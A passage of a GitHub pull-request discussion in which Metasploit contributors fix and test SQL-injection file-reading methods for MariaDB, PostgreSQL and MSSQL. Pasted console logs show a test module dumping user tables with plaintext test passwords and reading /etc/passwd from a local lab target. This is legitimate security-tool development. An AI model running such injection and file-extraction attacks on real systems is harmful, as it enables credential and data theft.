msf6 auxiliary(test/sqli_test) > 

If the file privilege isn't granted, load_file simply returns NULL, and it's up to the backend application to handle that value, so I guess there isn't an easy way to know if the file is empty, or if the FILE privilege isn't granted.

Also, I just added a commit to fix base64 encoding on MySQL/MariaDB, removing newlines from the data.

@gwillcox-r7
Copy link
Contributor

@red0xff Alright last patch partially fixed the issue however you only addressed the case when encoders are used. When no encoders are used the issue is still occuring:

msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/test/sqli_test 
msf6 auxiliary(test/sqli_test) > show options

Module options (auxiliary/test/sqli_test):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   DBMS                MariaDB          yes       The DBMS to target (Accepted: MariaDB, PostgreSQL, Sqlite, MSSQL)
   ENCODER                              no        an encoder to use (hex for example)
   HEX_ENCODE_STRINGS  false            no        Replace strings in the query with hex numbers?
   RHOSTS              127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
                                                  ing-Metasploit
   RPORT               1337             yes       The target port
   SAFE                false            no        Use safe mode
   SQLI_TYPE           Regular          yes       The type of SQL injection to test (Accepted: Regular, BooleanBlind, TimeBlind)
   TARGETURI           /                yes       The target URI
   TRUNCATION_LENGTH   0                yes       Test SQLi with truncated output (0 or negative to disable)

msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[-] Doesn't seem to be vulnerable
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got root:x:0:0:root:/root:/bin/bash
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set ENCODER hex
ENCODER => hex
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:999:999::/home/mysql:/bin/sh

[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set ENCODER base64
ENCODER => base64
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:999:999::/home/mysql:/bin/sh

[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > 

@gwillcox-r7
Copy link
Contributor

So one thing I did want to ask is would there be a way to check if the user has the FILE privilege prior to using load_file? Otherwise we get results like this. Also note the base64 encoder seems to be still not returning full data for MariaDB/MySQL, not sure if this PR is meant to fix that bug but is something to note:

msf6 auxiliary(test/sqli_test) > show options

Module options (auxiliary/test/sqli_test):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   DBMS                Sqlite           yes       The DBMS to target (Accepted: MariaDB, PostgreSQL, Sqlite, MSSQL)
   ENCODER             hex              no        an encoder to use (hex for example)
   HEX_ENCODE_STRINGS  false            no        Replace strings in the query with hex numbers?
   RHOSTS              127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
                                                  ing-Metasploit
   RPORT               1337             yes       The target port
   SAFE                false            no        Use safe mode
   SQLI_TYPE           Regular          yes       The type of SQL injection to test (Accepted: Regular, BooleanBlind, TimeBlind)
   TARGETURI           /                yes       The target URI
   TRUNCATION_LENGTH   0                yes       Test SQLi with truncated output (0 or negative to disable)

msf6 auxiliary(test/sqli_test) > set DBMS MariaDB 
DBMS => MariaDB
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got 
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set ENCODER base64
ENCODER => base64
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got 
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > 

If the file privilege isn't granted, load_file simply returns NULL, and it's up to the backend application to handle that value, so I guess there isn't an easy way to know if the file is empty, or if the FILE privilege isn't granted.

Also, I just added a commit to fix base64 encoding on MySQL/MariaDB, removing newlines from the data.

Thanks for clarification on that, makes sense

@red0xff
Copy link
Contributor Author

red0xff commented Jun 16, 2022

@red0xff Alright last patch partially fixed the issue however you only addressed the case when encoders are used. When no encoders are used the issue is still occuring:

msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/test/sqli_test 
msf6 auxiliary(test/sqli_test) > show options

Module options (auxiliary/test/sqli_test):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   DBMS                MariaDB          yes       The DBMS to target (Accepted: MariaDB, PostgreSQL, Sqlite, MSSQL)
   ENCODER                              no        an encoder to use (hex for example)
   HEX_ENCODE_STRINGS  false            no        Replace strings in the query with hex numbers?
   RHOSTS              127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
                                                  ing-Metasploit
   RPORT               1337             yes       The target port
   SAFE                false            no        Use safe mode
   SQLI_TYPE           Regular          yes       The type of SQL injection to test (Accepted: Regular, BooleanBlind, TimeBlind)
   TARGETURI           /                yes       The target URI
   TRUNCATION_LENGTH   0                yes       Test SQLi with truncated output (0 or negative to disable)

msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[-] Doesn't seem to be vulnerable
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got root:x:0:0:root:/root:/bin/bash
[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set ENCODER hex
ENCODER => hex
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:999:999::/home/mysql:/bin/sh

[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set ENCODER base64
ENCODER => base64
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:999:999::/home/mysql:/bin/sh

[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > 

Yes, I fixed the issue with the base64 encoder adding newlines within the data. Without an encoder, it's not the library's fault, it's the test module that is using gets to read one line from the socket, so if the file contains newlines, the test module would read only the first one. I'll fix it from another PR, but it has a low impact (as it's just a test module).

@gwillcox-r7
Copy link
Contributor

Alright @red0xff going to fix up the test module cause honestly I'm kinda annoyed its code is a bit off. Your library changes as you noted are fine so I'll land them with the updates to the test module.

… we can properly test things like dumping file content
@gwillcox-r7
Copy link
Contributor

Little example for reference:

msf6 auxiliary(test/sqli_test) > show options

Module options (auxiliary/test/sqli_test):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   DBMS                MariaDB          yes       The DBMS to target (Accepted: MariaDB, PostgreSQL, Sqlite, MSSQL)
   ENCODER                              no        an encoder to use (hex for example)
   HEX_ENCODE_STRINGS  false            no        Replace strings in the query with hex numbers?
   RHOSTS              127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Us
                                                  ing-Metasploit
   RPORT               1337             yes       The target port
   SAFE                false            no        Use safe mode
   SQLI_TYPE           Regular          yes       The type of SQL injection to test (Accepted: Regular, BooleanBlind, TimeBlind)
   TARGETURI           /                yes       The target URI
   TRUNCATION_LENGTH   0                yes       Test SQLi with truncated output (0 or negative to disable)

msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal

[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.

[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass

[+] Got root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:999:999::/home/mysql:/bin/sh

[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > set SQLI
set SQLIDELAY  set SQLI_TYPE  
msf6 auxiliary(test/sqli_test) > set SQLI_TYPE 
set SQLI_TYPE BooleanBlind  set SQLI_TYPE Regular       set SQLI_TYPE TimeBlind     
msf6 auxiliary(test/sqli_test) > set SQLI_TYPE BooleanBlind 
SQLI_TYPE => BooleanBlind
msf6 auxiliary(test/sqli_test) > run
[*] Running module against 127.0.0.1

[+] dbms version: 10.4.25-MariaDB-1:10.4.25+maria~focal
[+] tables: articles, users
[+] articles(id, content)
[+] 	1, Over 3.8 billion people use the internet today, which is 40% of the worlds population.
[+] 	2, 8 billion devices will be connected to the internet by 2020.
[+] 	3, More than 570 new websites are created every minute.
[+] 	4, There are over 3.5 billion searches per day on Google.
[+] 	5, By 2020, video will account for about 80% of all internet traffic.
[+] 	6, 340,000 tweets are sent per minute.
[+] 	7, 90% of the world’s data has been created in the last couple years.
[+] users(username, password)
[+] 	red0xff, PasswordTest1
[+] 	admin, AdminPass1337
[+] 	guest, GuestPass
[+] Got root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:999:999::/home/mysql:/bin/sh

[*] Auxiliary module execution completed
msf6 auxiliary(test/sqli_test) > 

@gwillcox-r7
Copy link
Contributor

Will land this once tests pass.

@gwillcox-r7 gwillcox-r7 added rn-enhancement release notes enhancement module labels Jun 17, 2022
@gwillcox-r7 gwillcox-r7 merged commit b10386b into rapid7:master Jun 17, 2022
@gwillcox-r7
Copy link
Contributor

Release Notes

This PR implements the method #read_from_file for PostgreSQL and MSSQL, and fixes the MySQL implementation. It also updates the test module to better handle multiline data returned from SQL queries.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

5 participants